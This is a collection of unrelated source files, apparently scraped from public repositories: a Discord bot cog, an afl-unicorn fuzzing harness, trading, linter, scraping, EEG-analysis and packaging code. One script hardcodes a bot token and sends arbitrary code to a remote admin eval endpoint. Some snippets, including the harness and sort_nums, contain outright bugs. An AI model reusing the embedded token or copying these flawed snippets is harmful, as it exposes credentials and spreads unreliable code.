+{"seq_id":"213018433","text":"import discord\r\nfrom discord.ext import commands\r\nimport datetime\r\n\r\nclass Serverinfo(commands.Cog):\r\n def __init__(self, client):\r\n self.client = client\r\n\r\n @commands.command(aliases=['svinfo', 'serverinfo'])\r\n @commands.guild_only()\r\n async def server(self, ctx):\r\n embed = discord.Embed(color=0x000000)\r\n embed.set_author(name=f'{ctx.guild.name}', icon_url=ctx.guild.icon_url)\r\n embed.set_thumbnail(url=ctx.guild.icon_url)\r\n embed.add_field(name='\\👑 Propriétario:', value=ctx.guild.owner.mention, inline=False)\r\n embed.add_field(name='\\ ID do Proprietário:', value=f'`{ctx.guild.owner.id}`', inline=False)\r\n embed.add_field(name='\\🆔 ID do Servidor:', value=f'`{ctx.guild.id}`', inline=False)\r\n embed.add_field(name='\\📶 Verificação do Servidor:', value=f'`{str(ctx.guild.verification_level)}`'.replace('none', \"Sem Verificação\"), inline=False)\r\n embed.add_field(name='Quantidade de Membros:', value=f'📋 total: {len(ctx.guild.members)}\\n'\r\n f'\\👥 Usuários: {len([a for a in ctx.guild.members if not a.bot])}\\n'\r\n f'\\🤖 Bots: {len([a for a in ctx.guild.members if a.bot])}', inline=False)\r\n embed.add_field(name='Quantidade de Canais:', value=f'📄 texto: {len(ctx.guild.text_channels)}\\n'\r\n f\"\\🔊 voz: {len(ctx.guild.voice_channels)}\", inline=False)\r\n embed.add_field(name='Quantidade de Cargos: ', value=f'Total: `{len(ctx.guild.roles) - 1}`')\r\n embed.add_field(name='\\😀 Quantidade de Emojis:', value=f'Total: `{len(ctx.guild.emojis)}`', inline=False)\r\n embed.add_field(name='\\📁 Quantidade de Categorias:', value=f' Total: `{len(ctx.guild.categories)}`', inline=False)\r\n embed.add_field(name='\\🌐 Região do Servidor:', value=f'**{ctx.guild.region}**', inline=False)\r\n embed.add_field(name='Servidor Criado Há:',\r\n value=f'`{str((ctx.guild.created_at - datetime.datetime.now()).days)}` dias atrás'.replace(\r\n '-', ''), inline=False)\r\n embed.add_field(name=\"Servidor Criado Em: \",\r\n value=\"`{}`\".format((ctx.guild.created_at.strftime('%d %B %Y'))).replace('January',\r\n 'de Janeiro de').replace(\r\n 'February', 'de Fevereiro de').replace('March', 'de Março de').replace('April',\r\n 'de Abril de').replace(\r\n 'May', 'de Maio de').replace('June', 'de Junho de').replace('July',\r\n 'de Julho de').replace(\r\n 'August', 'de Agosto de').replace('September', 'de Setembro de').replace(\r\n 'October', 'de Outubro de').replace('November', 'de Novembro de').replace(\r\n 'December', 'de Dezembro de'), inline=False)\r\n embed.set_footer(text=f\"Requisitado Por: {ctx.author.name}.\", icon_url=ctx.author.avatar_url)\r\n embed.timestamp = datetime.datetime.utcnow()\r\n await ctx.send(embed=embed)\r\n\r\ndef setup(client):\r\n client.add_cog(Serverinfo(client))\r\n","sub_path":"cogs/serverinfo.py","file_name":"serverinfo.py","file_ext":"py","file_size_in_byte":3367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"181508441","text":"\"\"\"\n template_test_harness.py\n\n Template which loads the context of a process into a Unicorn Engine,\n instance, loads a custom (mutated) inputs, and executes the \n desired code. Designed to be used in conjunction with one of the\n Unicorn Context Dumper scripts.\n\n Author:\n Nathan Voss Modified by h0rac to support UI binaryninja plugin\n\"\"\"\n\nimport argparse\n\nfrom unicorn import *\nfrom unicorn.mips_const import * # TODO: Set correct architecture here as necessary\nfrom textwrap import wrap\nimport sys\nimport os\nsys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\nfrom core import unicorn_loader \nimport json\n\n# Simple stand-in heap to prevent OS/kernel issues\nunicorn_heap = None\n\n#------------------------\n#---- Main test function \n\ndef main():\n\n \n parser = argparse.ArgumentParser()\n parser.add_argument('json_data_file', type=str, help=\"JSON data from afl-unicorn binaryninja plugin\")\n parser.add_argument('context_dir', type=str, help=\"Directory containing process context\")\n parser.add_argument('input_file', type=str, help=\"Path to the file containing the mutated input content\")\n parser.add_argument('-d', '--debug', default=False, action=\"store_true\", help=\"Dump trace info\")\n args = parser.parse_args()\n\n print(\"Loading context from {}\".format(args.context_dir))\n uc = unicorn_loader.AflUnicornEngine(args.context_dir, enable_trace=args.debug, debug_print=False) \n\n if args.json_data_file:\n json_file = open(args.json_data_file, \"r\")\n data = json.loads(json_file.read())\n harness_data = {key.encode('utf-8'): value for key, value in data.items()}\n print(\"Loading JSON from {}\".format(args.json_data_file))\n \n def unicorn_hook_instruction(uc, address, size, user_data):\n print('>>> Tracing instruction at 0x%x, instruction size = 0x%x' %(address, size)) \n\n if address in harness_data['avoid_addresses']:\n pass\n #TODO implementation of how to avoid selected address is architecture dependend\n\n # Instantiate the hook function to avoid emulation errors\n global unicorn_heap\n unicorn_heap = unicorn_loader.UnicornSimpleHeap(uc, debug_print=True)\n uc.hook_add(UC_HOOK_CODE, unicorn_hook_instruction)\n\n # Execute 1 instruction just to startup the forkserver\n # NOTE: This instruction will be executed again later, so be sure that\n # there are no negative consequences to the overall execution state.\n # If there are, change the later call to emu_start to no re-execute \n # the first instruction.\n print(\"Starting the forkserver by executing 1 instruction\")\n try:\n uc.emu_start(harness_data['start'], 0, 0, count=1)\n except UcError as e:\n print(\"ERROR: Failed to execute a single instruction (error: {})!\".format(e))\n return\n\n # Allocate a buffer and load a mutated input and put it into the right spot\n if args.input_file:\n print(\"Loading input content from {}\".format(args.input_file))\n input_file = open(args.input_file, 'rb')\n input_content = input_file.read()\n input_file.close()\n\n #Here put any restriction to file size, type and so on\n \n \n # Allocate a new buffer and put the input into it\n buf_addr = unicorn_heap.malloc(len(input_content))\n uc.mem_write(buf_addr, input_data)\n print(\"Allocated mutated input buffer @ 0x{0:08x}\".format(buf_addr))\n\n # TODO: Set the input into the state so it will be handled\n # Here you can decide to which CPU register or memory data should be loaded\n \n # Run the test\n print(\"Executing from 0x{0:08x} to 0x{1:08x}\".format(harness_data['start'], harness_data['end']))\n\n try:\n uc.emu_start(harness_data['start'], harness_data['end'], timeout=0, count=0)\n except UcError as e:\n # If something went wrong during emulation a signal is raised to force this \n # script to crash in a way that AFL can detect ('uc.force_crash()' should be\n # called for any condition that you want AFL to treat as a crash).\n print(\"Execution failed with error: {}\".format(e))\n uc.dump_regs() \n uc.force_crash(e)\n\n print(\"Final register state:\") \n uc.dump_regs()\n\n print(\"Done.\") \n \nif __name__ == \"__main__\":\n main()\n","sub_path":"templates/template_harness.py","file_name":"template_harness.py","file_ext":"py","file_size_in_byte":4397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"319122401","text":"import os\nimport random\nimport sys\nimport threading\nimport time\nfrom ctypes import *\n\nimport numpy as np\n\nfrom config import *\n\nlock = threading.Lock()\n# def get_timingprice(*instrument_list):\n#\n# while(1):\n# price = api.getprice(c_char_p(bytes(instrument_list[0], 'utf-8')))\n# global closelist\n# closelist.append(price)\n\n# 启动行情服务\n\n\ndef start_hq(instrument_list, account_info):\n\n instrument_list_bytes = []\n\n for items in instrument_list:\n instrument_list_bytes.append(c_char_p(bytes(items, 'utf-8')))\n\n # 转成c++需要的数据格式\n instrument = (c_char_p * len(instrument_list))(*instrument_list_bytes)\n count = len(instrument_list)\n\n # 初始化行情接口\n api.init(c_char_p(bytes(account_info['ip_hq'], 'utf-8')), c_char_p(bytes(account_info['ip_trade'], 'utf-8')),\n c_char_p(bytes(account_info['broker_id'], 'utf-8')\n ), c_char_p(bytes(account_info['account'], 'utf-8')),\n c_char_p(bytes(account_info['pwd'], 'utf-8')), instrument, c_int(count))\n # 创建行情实例\n api.creathqapi()\n time.sleep(2)\n api.subscribemarketdata(instrument, count)\n time.sleep(2)\n # 获取价格\n api.getprice.restype = c_double # 设置python接受dll函数的返回类\n price = None\n price = api.getprice(c_char_p(bytes(instrument_list[0], 'utf-8')))\n print(price)\n if price:\n return True\n else:\n return False\n\n# 启动交易服务\n\n\ndef start_jy():\n\n # 创建交易实例\n api.creattradeapi()\n # 确认账户\n time.sleep(2)\n api.accountconfirm()\n time.sleep(2)\n resturntype = api.checkconfirm\n resturntype.restype = c_int\n trade = api.checkconfirm()\n if trade == 1:\n return True\n else:\n return False\n\n# 获取实时行情\n\n\ndef get_instrument_timingprice(instrument_list):\n\n while(1):\n for instrument in instrument_list:\n price = api.getprice(c_char_p(bytes(instrument, 'utf-8')))\n instrument_price[instrument] = price\n\n# 生成唯一的下单orderid\n\n\ndef get_orderid(index=10):\n\n global OrderId\n while(1):\n\n neworderid = str(int(round(time.time() * 1000))+1)[-index:]\n\n if neworderid == OrderId:\n neworderid = str(int(round(time.time() * 1000)))[-index:]\n else:\n OrderId = neworderid\n break\n\n return OrderId\n","sub_path":"QUANTAXIS_Trade/WindowsCTP/tradeapi.py","file_name":"tradeapi.py","file_ext":"py","file_size_in_byte":2410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"362090762","text":"\"\"\"Common constants and class to all linters.\"\"\"\n\nimport re\nimport subprocess\n\nDEFAULT_MESSAGE_FORMAT = \"%(path)s:%(row)d:%(col)d: %(code)s %(text)s\"\n\n\nclass LinterMessage:\n \"\"\"Generic linter message.\"\"\"\n\n def __init__(\n self,\n tool=\"unknown\",\n message_id=\"unknown\",\n filename=\"unknown\",\n lineno=1,\n charno=1,\n message=\"unknown\",\n extramessage=\"\",\n ):\n \"\"\"Initializer.\"\"\"\n self.tool = tool\n self.message_id = message_id\n self.filename = filename\n self.lineno = lineno\n self.charno = charno\n self.message = message\n self.extramessage = extramessage\n\n def __repr__(self):\n \"\"\"Represent as a string.\"\"\"\n return self.formatted(DEFAULT_MESSAGE_FORMAT)\n\n def __lt__(self, other):\n \"\"\"Test less than.\"\"\"\n return (\n self.filename,\n self.lineno,\n self.charno,\n self.tool,\n self.message_id,\n self.message,\n self.message_id,\n ) < (\n other.filename,\n other.lineno,\n other.charno,\n other.tool,\n other.message_id,\n other.message,\n other.message_id,\n )\n\n def __eq__(self, other):\n \"\"\"Test equality.\"\"\"\n return (\n self.filename,\n self.lineno,\n self.charno,\n self.tool,\n self.message_id,\n self.message,\n self.message_id,\n ) == (\n other.filename,\n other.lineno,\n other.charno,\n other.tool,\n other.message_id,\n other.message,\n other.message_id,\n )\n\n def __hash__(self):\n \"\"\"Compute hash.\"\"\"\n return hash(\n (\n self.filename,\n self.lineno,\n self.charno,\n self.tool,\n self.message_id,\n self.message,\n self.message_id,\n )\n )\n\n def formatted(self, format):\n \"\"\"Format the message according to format parameter.\"\"\"\n data = {\n \"path\": self.filename,\n \"row\": self.lineno,\n \"col\": self.charno,\n # horrible hack for visual studio code\n \"code\": f\"W{self.message_id[1:]}\",\n \"text\": f\"[{self.tool}] {self.message}\",\n }\n if self.extramessage:\n data[\"text\"] += f\" ({self.extramessage})\"\n\n return format % data\n\n\nclass LinterNotFound(FileNotFoundError):\n \"\"\"\n Exception to detect that a linter is not found.\n\n Note that this doesn't occur, except due to an installation error.\n \"\"\"\n\n pass\n\n\nclass Linter:\n \"\"\"Base linter class.\"\"\"\n\n name = \"Linter\"\n path = \"/bin/unknownlinter\"\n\n @classmethod\n def lint(cls, file):\n \"\"\"Execute the linter and return the list of messages.\"\"\"\n try:\n return cls._lint(file)\n except LinterNotFound:\n return [\n LinterMessage(\n tool=\"whatalinter\",\n message_id=f\"E999\",\n filename=str(file),\n lineno=1,\n charno=1,\n message=f\"linter not found: {cls.path}\",\n extramessage=\"\",\n )\n ]\n\n @classmethod\n def _lint(cls, file):\n args = [cls.path, str(file)]\n result = cls._execute_command(args)\n return cls._parse_output(result.stdout)\n\n @classmethod\n def _execute_command(cls, args):\n \"\"\"Execute the linter or raise LinterNotFound.\"\"\"\n try:\n return subprocess.run(\n args,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n timeout=10,\n encoding=\"utf-8\",\n )\n except FileNotFoundError as e:\n if e.filename == cls.path:\n raise LinterNotFound\n else:\n raise\n\n @classmethod\n def _parse_line(cls, line, regex, message=None, **kwargs):\n m = re.match(regex, line)\n if m:\n if not message:\n message = LinterMessage()\n kwargs.update(m.groupdict())\n if \"lineno\" in kwargs:\n kwargs[\"lineno\"] = int(kwargs[\"lineno\"])\n if \"charno\" in kwargs:\n kwargs[\"charno\"] = int(kwargs[\"charno\"])\n for param, value in kwargs.items():\n setattr(message, param, value)\n else:\n print(\"ERROR parsing\", line)\n return message\n\n @classmethod\n def _parse_output(cls, output):\n messages = []\n regex_index = 0\n for line in output.splitlines():\n if regex_index == 0:\n message = cls._parse_line(\n line, cls.regex[regex_index], None, tool=cls.name\n )\n else:\n message = cls._parse_line(\n line, cls.regex[regex_index], message\n )\n\n if regex_index == len(cls.regex) - 1:\n regex_index = 0\n messages.append(message)\n else:\n regex_index += 1\n return messages\n","sub_path":"python_dev_tools/linters/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"315061723","text":"import logging\r\nimport os\r\nimport sys\r\nfrom pathlib import Path\r\n\r\nlog: logging.Logger\r\n\r\n\r\ndef debug(message):\r\n global log\r\n log.debug(message)\r\n\r\n\r\ndef info(message):\r\n global log\r\n log.info(message)\r\n\r\n\r\ndef error(message):\r\n global log\r\n log.error(message)\r\n\r\n\r\ndef start_test(test_name):\r\n global log\r\n print(\"\")\r\n log.info(\"-------------------------------------------------------------------------------------\")\r\n log.info(\"Test: \" + test_name)\r\n log.info(\"-------------------------------------------------------------------------------------\")\r\n\r\n\r\ndef end_test(status):\r\n global log\r\n log.info(\"-------------------------------------------------------------------------------------\")\r\n log.info(status)\r\n log.info(\"-------------------------------------------------------------------------------------\")\r\n print(\"\")\r\n\r\n\r\ndef get_logger():\r\n log_path = Path(\"resources/logs/appLog.log\")\r\n\r\n os.makedirs(os.path.dirname(\"./resources/logs/appLog.log\"), exist_ok=True)\r\n\r\n logger = logging.getLogger(\"LOG\")\r\n\r\n formatter = logging.Formatter(\"%(asctime)s %(levelname)5s [%(name)s] - %(message)s\")\r\n\r\n stream_handler = logging.StreamHandler(sys.stdout)\r\n file_handler = logging.FileHandler(log_path, mode='w', delay=False)\r\n\r\n file_handler.setFormatter(formatter)\r\n stream_handler.setFormatter(formatter)\r\n\r\n logger.addHandler(file_handler)\r\n logger.addHandler(stream_handler)\r\n\r\n logger.setLevel(logging.INFO)\r\n\r\n return logger\r\n","sub_path":"utilities/log_manager.py","file_name":"log_manager.py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"198225045","text":"#!/usr/bin/env python3.6\n\"\"\"\neval.py - Evaluate code in a litecord server.\n\"\"\"\nimport requests\nimport json\nimport readline\n\nAPI_BASE = 'https://litecord.adryd.com'\nTOKEN = \"MTYyODE5ODY2NjgyODUxMzI5.DLGjVA.pUwhsXRwDxROe5535dPXSsS8e9o\"\n\nHEADERS = {\n 'Authorization': f'Bot {TOKEN}',\n}\n\ndef main():\n print(\"Litecord's admin eval\")\n while True:\n code = input('>')\n payload = {\n 'to_eval': code,\n }\n\n r = requests.post(f'{API_BASE}/api/admin_eval', headers=HEADERS, \\\n data=json.dumps(payload))\n\n result = r.json()\n if r.status_code in [500, 401]:\n print(f'fuck? {result!r}')\n continue\n\n if result['error']:\n print(f\"ERR {result['stdout']}\")\n else:\n print(f\"res: {result['stdout']}\")\n\nif __name__ == '__main__':\n main()\n","sub_path":"utils/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"208099892","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^newlogin/',views.newlogin,name='newlogin'),\n url(r'^about/',views.about,name='about'),\n url(r'^signup/',views.signup,name='signup'),\n url(r'^login/',views.login,name='login'),\n url(r'^input/',views.get_name,name='get_name'),\n url(r'^doctors/',views.people,name='people'),\n url(r'^tests/',views.tests,name='tests'),\n url(r'^',views.blog,name='blog'),\n]\n","sub_path":"prime/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"196685173","text":"#!/usr/bin/env python\n__author__ = \"chris\"\nimport argparse\nimport sys\n\n# This script just exists to force a checksum difference from translate.py\n\nBASE_PAIR_COMPLEMENTS = {\n \"a\": \"t\",\n \"t\": \"a\",\n \"c\": \"g\",\n \"g\": \"c\",\n \"A\": \"T\",\n \"T\": \"A\",\n \"C\": \"G\",\n \"G\": \"C\",\n \"n\": \"n\",\n \"N\": \"N\",\n}\n\nCODON_TABLE = {\n \"AAA\": \"K\",\n \"AAC\": \"N\",\n \"AAG\": \"K\",\n \"AAT\": \"N\",\n \"ACA\": \"T\",\n \"ACC\": \"T\",\n \"ACG\": \"T\",\n \"ACT\": \"T\",\n \"AGA\": \"R\",\n \"AGC\": \"S\",\n \"AGG\": \"R\",\n \"AGT\": \"S\",\n \"ATA\": \"I\",\n \"ATC\": \"I\",\n \"ATG\": \"M\",\n \"ATT\": \"I\",\n \"CAA\": \"Q\",\n \"CAC\": \"H\",\n \"CAG\": \"Q\",\n \"CAT\": \"H\",\n \"CCA\": \"P\",\n \"CCC\": \"P\",\n \"CCG\": \"P\",\n \"CCT\": \"P\",\n \"CGA\": \"R\",\n \"CGC\": \"R\",\n \"CGG\": \"R\",\n \"CGT\": \"R\",\n \"CTA\": \"L\",\n \"CTC\": \"L\",\n \"CTG\": \"L\",\n \"CTT\": \"L\",\n \"GAA\": \"E\",\n \"GAC\": \"D\",\n \"GAG\": \"E\",\n \"GAT\": \"D\",\n \"GCA\": \"A\",\n \"GCC\": \"A\",\n \"GCG\": \"A\",\n \"GCT\": \"A\",\n \"GGA\": \"G\",\n \"GGC\": \"G\",\n \"GGG\": \"G\",\n \"GGT\": \"G\",\n \"GTA\": \"V\",\n \"GTC\": \"V\",\n \"GTG\": \"V\",\n \"GTT\": \"V\",\n \"TAA\": \"*\",\n \"TAC\": \"Y\",\n \"TAG\": \"*\",\n \"TAT\": \"Y\",\n \"TCA\": \"S\",\n \"TCC\": \"S\",\n \"TCG\": \"S\",\n \"TCT\": \"S\",\n \"TGA\": \"*\",\n \"TGC\": \"C\",\n \"TGG\": \"W\",\n \"TGT\": \"C\",\n \"TTA\": \"L\",\n \"TTC\": \"F\",\n \"TTG\": \"L\",\n \"TTT\": \"F\",\n \"NNN\": \"X\",\n}\n\nfor i in \"ACTG\":\n for j in \"ACTG\":\n CODON_TABLE[\"%s%sN\" % (i, j)] = \"X\"\n CODON_TABLE[\"%sN%s\" % (i, j)] = \"X\"\n CODON_TABLE[\"N%s%s\" % (i, j)] = \"X\"\n CODON_TABLE[\"%sNN\" % i] = \"X\"\n CODON_TABLE[\"N%sN\" % i] = \"X\"\n CODON_TABLE[\"NN%s\" % i] = \"X\"\n\nparser = argparse.ArgumentParser(\n description=\"This will translate a given DNA sequence to protein.\"\n)\ngroup = parser.add_mutually_exclusive_group(required=True)\ngroup.add_argument(\"--sequence\", help=\"The sequence to translate.\", type=str)\ngroup.add_argument(\n \"--fasta\", help=\"The fasta file to translate.\", type=argparse.FileType(\"rb\")\n)\nsimple_group = parser.add_argument_group(\"Parameter Group\")\nsimple_group.add_argument(\n \"--frame\",\n help=\"The frame to translate in.\",\n type=str,\n choices=[\"+1\", \"+2\", \"+3\", \"-1\", \"-2\", \"-3\"],\n default=\"+1\",\n)\nsimple_group.add_argument(\n \"--out\", help=\"The file to save translations to.\", type=argparse.FileType(\"wb\")\n)\n\n\ndef main():\n args = parser.parse_args()\n seq = args.sequence\n fasta = args.fasta\n\n def translate(seq=None, frame=None):\n if frame.startswith(\"-\"):\n seq = \"\".join([BASE_PAIR_COMPLEMENTS.get(i, \"N\") for i in seq])\n frame = int(frame[1]) - 1\n return \"\".join(\n [\n CODON_TABLE.get(seq[i : i + 3], \"X\")\n for i in range(frame, len(seq), 3)\n if i + 3 <= len(seq)\n ]\n )\n\n frame = args.frame\n with args.out as fasta_out:\n if fasta:\n with args.fasta as fasta_in:\n header = \"\"\n seq = \"\"\n for row in fasta_in:\n if row[0] == \">\":\n if seq:\n fasta_out.write(\n \"{}\\n{}\\n\".format(header, translate(seq, frame))\n )\n header = row\n seq = \"\"\n else:\n seq += row.strip()\n if seq:\n fasta_out.write(\"{}\\n{}\\n\".format(header, translate(seq, frame)))\n else:\n fasta_out.write(\"{}\\n{}\\n\".format(\">1\", translate(seq.upper(), frame)))\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","sub_path":"wooey/tests/scripts/translate2.py","file_name":"translate2.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"456473848","text":"# In place \ndef sort_nums(nums):\n red = 0\n white = 0\n blue = 0\n\n for color in nums:\n if color == 0:\n nums[red] = 0\n red += 1\n elif color == 1:\n white += 1\n else:\n blue += 1\n\n for j in range(red, len(nums)-white-1):\n nums[j] = 1\n\n for k in range(len(nums) - white, len(nums)):\n nums[k] = 2\n\n\n\n\n\nprint(sort_nums([2,0,2,1,1,0]))\n\n\n\n","sub_path":"sort_colors.py","file_name":"sort_colors.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"294557428","text":"#!/usr/bin/env python3\n\nimport os\nimport glob\nacceptable_file_type = ['png', 'jpg']\n\n\nprint(\"current working : \", os.getcwd())\n\nos.chdir( input('path to image dir : ' ) )\nprint(\"current working : \" , os.getcwd())\n\nimages=[] \nfor file_type in acceptable_file_type:\n images.extend(glob.glob(\"*.\"+file_type))\n\nfor image_number in range(0, len(images)):\n print(image_number, images[image_number])\n\nimage_number = int(input('select_images'))\n\nprint(\"IMAGE LOCATION: \", os.getcwd() + '/' + images[image_number] ) \n","sub_path":"gui_application/src/archive/image_select.py","file_name":"image_select.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"434298331","text":"from flask import render_template\n\nfrom . import main\nfrom . import redis_client\n\ncounter = redis_client.get(\"count\")\n\nif counter is None:\n counter = 0\nelse:\n counter = int(counter)\n\n\n@main.route(\"/\")\ndef index():\n \"\"\"\n 主页\n :return:\n \"\"\"\n global counter\n counter = counter + 1\n redis_client.set(\"count\", counter)\n return render_template('main/index.html',\n count=counter,\n )\n","sub_path":"app/main/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":461,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"136084502","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom tencent.items import TencentItem\n\n\nclass HrSpider(scrapy.Spider):\n name = 'hr'\n allowed_domains = ['tencent.com']\n start_urls = ['https://hr.tencent.com/position.php']\n\n def parse(self, response):\n # tr_list = response.xpath(\"//tr[@class='odd'] | //tr[@class='even']\")\n # tr_list = response.xpath(\"//*[contains(@class,'odd') or contains(@class, 'even')]\")\n tr_list = response.xpath(\"//table[@class='tablelist']/tr\")[1: -1]\n for tr in tr_list:\n item = TencentItem()\n item[\"title\"] = tr.xpath(\"./td[1]/a/text()\").extract_first()\n item[\"position\"] = tr.xpath(\"./td[2]/text()\").extract_first()\n item[\"location\"] = tr.xpath(\"./td[4]/text()\").extract_first()\n item[\"publish_date\"] = tr.xpath(\"./td[5]/text()\").extract_first()\n \n yield item\n\n next_url = response.xpath(\"//a[text()='下一页']/@href\").extract_first()\n if next_url != \"javascript:;\":\n next_url = \"https://hr.tencent.com/\" + next_url\n yield scrapy.Request(\n next_url,\n callback=self.parse,\n )\n","sub_path":"tencent/tencent/spiders/hr.py","file_name":"hr.py","file_ext":"py","file_size_in_byte":1188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"402127380","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom scipy import ndimage\nfrom scipy import misc\ndef siyah_beyaz(img1, threshold = 100):\n img2 = np.zeros((img1.shape[0], img1.shape[1]))\n for i in range(img2.shape[0]):\n for j in range(img2.shape[1]):\n if(sum(img1[i,j,:])/3 > threshold):\n img2[i,j] = 1\n else:\n img2[i,j] = 0\n return img2\ndef RGB_Gray(img1):\n img2 = np.zeros((img1.shape[0], img1.shape[1]))\n for i in range(img2.shape[0]):\n for j in range(img2.shape[1]):\n img2[i,j] = sum(img1[i,j,:])/3\n return img2\nimg = plt.imread(\"kuslar.jpg\")\nblack_white = siyah_beyaz(img,75)\ngray = RGB_Gray(img)\n\nplt.subplot(1,3,1), plt.imshow(img)\nplt.subplot(1,3,2), plt.imshow(gray, cmap='Greys')\nplt.subplot(1,3,3), plt.imshow(black_white, cmap='Greys')\n\nplt.show()\n","sub_path":"rgb_bw_gray.py","file_name":"rgb_bw_gray.py","file_ext":"py","file_size_in_byte":862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"255643367","text":"from sklearn.cross_decomposition import CCA\nimport scipy.io as sio\nimport scipy.signal as spsignal\nfrom lib import utils\nimport numpy as np\n\nfrom lib.utils import ITR\n\nimport os\n\n\n# ================== data information ==============\ntarget_file = os.path.join('data', 'Freq_Phase.mat')\ntarget_data = sio.loadmat(target_file)\nfreqs = target_data['freqs'].ravel()\n\ndata_file = os.path.join('data', 'S{}.mat')\nnb_subjects = 35\nchannels = ['PZ', 'PO5', 'PO3', 'POz', 'PO4', 'PO6', 'O1', 'OZ', 'O2']\nchannel_indices = np.array([48, 54, 55, 56, 57, 58, 61, 62, 63])-1\n\nfs = 250 # Hz\ntime_gaze_s = 1.25 # s\ntime_delay_s = 0.13 # s\ntime_cue_s = 0.5 # s\ntime_all_s = time_gaze_s + time_delay_s\n\ngaze_length = round(time_gaze_s * fs)\ndelay_length = round(time_delay_s * fs)\ncue_length = round(time_cue_s * fs)\ncue_length = round(time_cue_s * fs)\n\n# ================== cca_reference ===================\nnb_harms = 5\nfb_a, fb_b = 1.25, 0.25 # for FBCCA\ntx = np.arange(1, gaze_length+1, 1) / fs\ny_ref = []\nfor freq in freqs:\n temp_ref = []\n for harm_i in range(nb_harms):\n temp_ref.append(np.sin(2*np.pi*tx*(harm_i+1)*freq))\n temp_ref.append(np.cos(2*np.pi*tx*(harm_i+1)*freq))\n y_ref.append(np.array(temp_ref))\ny_ref = np.array(y_ref)\n\n# ================== filtering and FBCCA ====================\nfilter_low_cutoff = 7. # Hz\nfilter_high_cutoff = 90. # Hz\nb, a = spsignal.butter(4, [filter_low_cutoff/(fs/2.), filter_high_cutoff/(fs/2.)], 'bandpass')\ncca = CCA(n_components=1, scale=False)\n\naccs = []\nitrs = []\nselected_subjects = [3, 4, 12, 22, 25, 26, 32, 34]\nfor s in selected_subjects:\n print('subject: {}'.format(s))\n data_path = data_file.format(s)\n data = sio.loadmat(data_path)['data']\n data = np.transpose(data, axes=[3, 2, 0, 1])\n subject_accs = []\n subject_itrs = []\n for block_id in range(len(data)):\n eeg = data[block_id][:, channel_indices, cue_length+delay_length:cue_length+delay_length+gaze_length]\n eeg = spsignal.filtfilt(b, a, eeg, axis=-1)\n nb_correct = 0.\n for label, eeg_epoch in enumerate(eeg):\n rho_list = []\n eeg_epoch = eeg_epoch.T\n for ref in y_ref:\n ref = ref.T\n rho = 0\n for band_id in range(10):\n band_eeg_epoch = utils.filterband(eeg_epoch, band_id, fs, axis=0)\n x_, y_ = cca.fit_transform(band_eeg_epoch, ref)\n band_rho = np.abs(np.matmul(x_.T, y_)/np.linalg.norm(x_, ord=2)/np.linalg.norm(y_, ord=2))\n w = (band_id+1.)**(-fb_a)+fb_b\n rho += w*band_rho**2\n rho_list.append(rho)\n if np.argmax(rho_list) == label:\n nb_correct += 1.\n\n acc = nb_correct / len(eeg)\n itr = ITR(len(freqs), acc, time_all_s)\n print('block:{}, acc:{}, itr:{}'.format(block_id, acc, itr))\n subject_accs.append(acc)\n subject_itrs.append(itr)\n accs.append(subject_accs)\n itrs.append(subject_itrs)\nnp.savez('results/fb_clean_eval.npz', acc=np.array(accs), itr=np.array(itrs))\n\n","sub_path":"SSVEP_Speller/EvalFBCCA.py","file_name":"EvalFBCCA.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"191127837","text":"from conans import ConanFile, tools, CMake\nimport os\n\n\nclass KangaruConan(ConanFile):\n name = \"kangaru\"\n description = \"A dependency injection container for C++11, C++14 and later\"\n license = \"MIT\"\n topics = (\"conan\", \"gracicot\", \"kangaru\",\n \"DI\", \"IoC\", \"inversion of control\")\n homepage = \"https://github.com/gracicot/kangaru/wiki\"\n url = \"https://github.com/conan-io/conan-center-index\"\n exports_sources = [\"CMakeLists.txt\", \"patches/**\"]\n generators = \"cmake\"\n settings = \"os\", \"compiler\", \"build_type\", \"arch\"\n options = {\"reverse_destruction\": [True, False],\n \"no_exception\": [True, False]}\n default_options = {\"reverse_destruction\": True,\n \"no_exception\": False}\n\n _cmake = None\n\n @property\n def _source_subfolder(self):\n return \"source_subfolder\"\n\n @property\n def _build_subfolder(self):\n return \"build_subfolder\"\n\n def configure(self):\n if self.settings.compiler.cppstd:\n tools.check_min_cppstd(self, 11)\n\n def package_id(self):\n self.info.settings.clear()\n\n def source(self):\n tools.get(**self.conan_data[\"sources\"][self.version])\n os.rename(self.name + \"-\" + self.version, 